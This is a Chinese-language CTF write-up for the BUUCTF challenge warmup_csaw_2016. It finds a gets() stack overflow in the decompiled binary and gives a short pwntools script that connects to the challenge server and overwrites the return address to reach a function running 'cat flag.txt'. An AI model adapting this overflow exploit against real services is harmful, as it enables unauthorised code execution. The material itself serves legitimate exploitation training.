buuctf PWN warmup_csaw_2016

下载附件,IDA查看

发现直接有显示flag函数

复制代码
int sub_40060D()
{
  return system("cat flag.txt");
}

查看程序起始地址0x40060D

复制代码
; Attributes: bp-based frame

sub_40060D proc near
; __unwind {
push    rbp
mov     rbp, rsp
mov     edi, offset command ; "cat flag.txt"
call    _system
pop     rbp
retn
; } // starts at 40060D
sub_40060D endp

查看main函数

复制代码
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char s[64]; // [rsp+0h] [rbp-80h] BYREF
  char v5[64]; // [rsp+40h] [rbp-40h] BYREF

  write(1, "-Warm Up-\n", 0xAuLL);
  write(1, "WOW:", 4uLL);
  sprintf(s, "%p\n", sub_40060D);
  write(1, s, 9uLL);
  write(1, ">", 1uLL);
  return gets(v5);
}

发现函数gets(v5),是栈溢出

char v5[64]; // [rsp+40h] [rbp-40h] BYREF

看到v5占用64个位置

那就可以改写exp:

复制代码
from __future__ import absolute_import
from pwn import *  
p=remote(u"node4.buuoj.cn",29692) 
payload=u'A'*64+u'B'*8+p64(0x40060D+1).decode(u"iso-8859-1")
p.sendline(payload)
p.interactive()

运行结果

相关推荐
柯南二号15 分钟前
【Java后端】MyBatis-Plus 原理解析
java·开发语言·mybatis
又是努力搬砖的一年23 分钟前
SpringBoot中,接口加解密
java·spring boot·后端
:-)26 分钟前
idea配置maven国内镜像
java·ide·maven·intellij-idea
轻松Ai享生活27 分钟前
揭秘 linux:一张图看懂系统配置的核心
linux
dog25029 分钟前
难以超越的 TCP AIMD
网络协议·tcp/ip·php
我是哈哈hh35 分钟前
【Node.js】ECMAScript标准 以及 npm安装
开发语言·前端·javascript·node.js
wdxylb36 分钟前
云原生俱乐部-RH134知识点总结(2)
linux·云原生
_Chipen43 分钟前
lazy_vim_cmake_clangd_从零到自动补全与语法检查
linux·编辑器·vim
啊阿狸不会拉杆1 小时前
《算法导论》第 27 章 - 多线程算法
java·jvm·c++·算法·图论
用户802973565411 小时前
【水平:编写简单的SpringCloud】用一篇文章精通SpringCloud-1
java